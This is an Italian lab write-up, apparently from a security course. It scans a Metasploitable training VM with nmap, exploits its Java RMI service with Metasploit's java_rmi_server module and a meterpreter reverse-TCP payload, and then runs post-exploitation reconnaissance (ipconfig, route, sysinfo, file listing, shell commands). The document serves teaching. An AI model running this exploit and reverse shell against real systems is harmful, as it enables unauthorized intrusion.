W16D4 – Pratica

SCANSIONE

1. Scansione nmap per porte aperte per assicurarsi che il servizio RMI sulla porta 1099 sia attivo sulla macchina Metasploitable.
    a. nmap -p 1099 192.168.11.112

```
┌──(kali㉿kali)-[~]
└─$ nmap -p 1099 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-08 09:03 EDT
Nmap scan report for 192.168.11.112
Host is up (0.0019s latency).

PORT     STATE SERVICE
1099/tcp open  rmiregistry

Nmap done: 1 IP address (1 host up) scanned in 13.60 seconds
```

2. Avvio metasploit da kali
    a. msfadmin
3. Cerco l'exploit e lo seleziono (in base al ranking)
    a. search java
    b. search java/meterpreter
        i. use exploit/multi/misc/java_rmi_server (ranking excellent)
4. Configuro l'exploit

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > SET RHOSTS 192.168.11.112
[-] Unknown command: SET. Did you mean set? Run the help command for more details.
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS ⇒ 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set RPORT 1009
RPORT ⇒ 1009
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST ⇒ 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload ⇒ java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

    a.
    b. P.S. RPORT è 1099 e NON 1009
5. E lo faccio partire

RACCOLTA INFORMAZIONI

1. Ipconfig

```
meterpreter > ipconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:febc:ff0
IPv6 Netmask : ::
```

   a.
2. Route -> per routing tables

```
IPv4 network routes
===================

    Subnet          Netmask        Gateway  Metric  Interface
    ------          -------        -------  ------  ---------
    127.0.0.1       255.0.0.0      0.0.0.0
    192.168.11.112  255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                   Netmask  Gateway  Metric  Interface
    ------                   -------  -------  ------  ---------
    ::1                      ::       ::
    fe80::a00:27ff:febc:ff0  ::       ::
```

3. sysinfo (informazioni di sistema della “vittima”)

```
meterpreter > sysinfo
Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux
meterpreter >
```

   a.
4. ps (elenco processi in exec)
   a. evito lo screen in quanto veramente lungo
5. si può interagire con il file system ed eventualmente cercare / caricare / scaricare file (con ls vedo le dir, provo quello)
6. con screenshot potrei creare un’instantanea, ma “muore” la sessione di meterpreter
7. posso aprire una shell
   a. da cui vedo tutte le connessioni attive se uso
      i. netstat -tunlp
   b. da cui vedo i processi attivi se uso

i. ps aux

c.

```
meterpreter > ls
Listing: /
==========

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
040666/rw-rw-rw-  4096     dir   2012-05-13 23:35:33 -0400  bin
040666/rw-rw-rw-  1024     dir   2012-05-13 23:36:28 -0400  boot
040666/rw-rw-rw-  4096     dir   2010-03-16 18:55:51 -0400  cdrom
040666/rw-rw-rw-  13480    dir   2024-09-08 08:29:36 -0400  dev
040666/rw-rw-rw-  4096     dir   2024-09-08 08:30:24 -0400  etc
040666/rw-rw-rw-  4096     dir   2010-04-16 02:16:02 -0400  home
040666/rw-rw-rw-  4096     dir   2010-03-16 18:57:40 -0400  initrd
100666/rw-rw-rw-  7929183  fil   2012-05-13 23:35:56 -0400  initrd.img
040666/rw-rw-rw-  4096     dir   2012-05-13 23:35:22 -0400  lib
040666/rw-rw-rw-  16384    dir   2010-03-16 18:55:15 -0400  lost+found
040666/rw-rw-rw-  4096     dir   2010-03-16 18:55:52 -0400  media
040666/rw-rw-rw-  4096     dir   2010-04-28 16:16:56 -0400  mnt
100666/rw-rw-rw-  7263     fil   2024-09-08 08:31:10 -0400  nohup.out
040666/rw-rw-rw-  4096     dir   2010-03-16 18:57:39 -0400  opt
040666/rw-rw-rw-  0        dir   2024-09-08 08:29:24 -0400  proc
040666/rw-rw-rw-  4096     dir   2024-09-08 08:31:09 -0400  root
040666/rw-rw-rw-  4096     dir   2012-05-13 21:54:53 -0400  sbin
040666/rw-rw-rw-  4096     dir   2010-03-16 18:57:38 -0400  srv
040666/rw-rw-rw-  0        dir   2024-09-08 08:29:25 -0400  sys
040666/rw-rw-rw-  4096     dir   2024-09-08 09:13:31 -0400  tmp
040666/rw-rw-rw-  4096     dir   2010-04-28 00:06:37 -0400  usr
040666/rw-rw-rw-  4096     dir   2010-03-17 10:08:23 -0400  var
100666/rw-rw-rw-  1987288  fil   2008-04-10 12:55:41 -0400  vmlinuz
```

8.